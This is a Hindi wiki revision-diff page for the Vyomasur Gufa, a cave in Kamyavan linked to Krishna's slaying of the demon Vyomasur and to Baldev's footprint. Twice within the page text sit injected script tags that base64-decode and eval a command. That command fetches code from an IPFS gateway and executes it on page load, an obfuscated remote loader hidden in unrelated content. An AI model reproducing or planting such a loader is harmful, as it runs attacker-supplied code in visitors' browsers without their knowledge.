"व्योमासुर गुफ़ा" के अवतरणों में अंतर
छो (Text replace - 'गुफा' to 'गुफ़ा') |
छो (व्योमासुर गुफा का नाम बदलकर व्योमासुर गुफ़ा कर दिया गया है) |
||
(२ सदस्यों द्वारा किये गये बीच के ३ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
− | {{Menu}} | + | {{Menu}} |
{{incomplete}} | {{incomplete}} | ||
+ | {| width="100%" align="left" | ||
+ | | | ||
==व्योमासुर गुफ़ा / Vyomasur Gufa== | ==व्योमासुर गुफ़ा / Vyomasur Gufa== | ||
+ | [[चित्र:Vyomasur-Gufa-Kamyavan-Kama-1.jpg|thumb|200px|व्योमासुर गुफा, [[काम्यवन]]<br />Vyomasur Cave, Kamyavan]] | ||
पहाड़ी के मध्य में व्योमासुर की गुफ़ा है। यहीं पर [[कृष्ण]] ने व्योमासुर का वध किया था। इसे मेधावी मुनि की कन्दरा भी कहते हैं। मेधावी मुनि ने यहाँ कृष्ण की आराधना की थी। पास में ही पहाड़ी नीचे श्रीबलदेव प्रभु का चरणचिह्न है। जिस समय श्रीकृष्ण व्योमासुर का वध कर रहे थे, उस समय [[पृथ्वी]] काँपने लगी। बल्देव जी ने अपने चरणों से पृथ्वी को दबाकर शान्त कर दिया था। उन्हीं के चरणों का चिह्न आज भी दर्शनीय है। | पहाड़ी के मध्य में व्योमासुर की गुफ़ा है। यहीं पर [[कृष्ण]] ने व्योमासुर का वध किया था। इसे मेधावी मुनि की कन्दरा भी कहते हैं। मेधावी मुनि ने यहाँ कृष्ण की आराधना की थी। पास में ही पहाड़ी नीचे श्रीबलदेव प्रभु का चरणचिह्न है। जिस समय श्रीकृष्ण व्योमासुर का वध कर रहे थे, उस समय [[पृथ्वी]] काँपने लगी। बल्देव जी ने अपने चरणों से पृथ्वी को दबाकर शान्त कर दिया था। उन्हीं के चरणों का चिह्न आज भी दर्शनीय है। | ||
− | + | |- | |
− | == | + | | |
− | + | ==सम्बंधित लिंक== | |
− | {{ | + | {{ब्रज के दर्शनीय स्थल}} |
+ | |} | ||
[[Category: कोश]][[Category:धार्मिक स्थल ]] | [[Category: कोश]][[Category:धार्मिक स्थल ]] | ||
[[Category:दर्शनीय-स्थल कोश]] | [[Category:दर्शनीय-स्थल कोश]] | ||
__INDEX__ | __INDEX__ |
१०:२२, ६ फ़रवरी २०११ के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
व्योमासुर गुफ़ा / Vyomasur Gufaपहाड़ी के मध्य में व्योमासुर की गुफ़ा है। यहीं पर कृष्ण ने व्योमासुर का वध किया था। इसे मेधावी मुनि की कन्दरा भी कहते हैं। मेधावी मुनि ने यहाँ कृष्ण की आराधना की थी। पास में ही पहाड़ी नीचे श्रीबलदेव प्रभु का चरणचिह्न है। जिस समय श्रीकृष्ण व्योमासुर का वध कर रहे थे, उस समय पृथ्वी काँपने लगी। बल्देव जी ने अपने चरणों से पृथ्वी को दबाकर शान्त कर दिया था। उन्हीं के चरणों का चिह्न आज भी दर्शनीय है। |
सम्बंधित लिंक |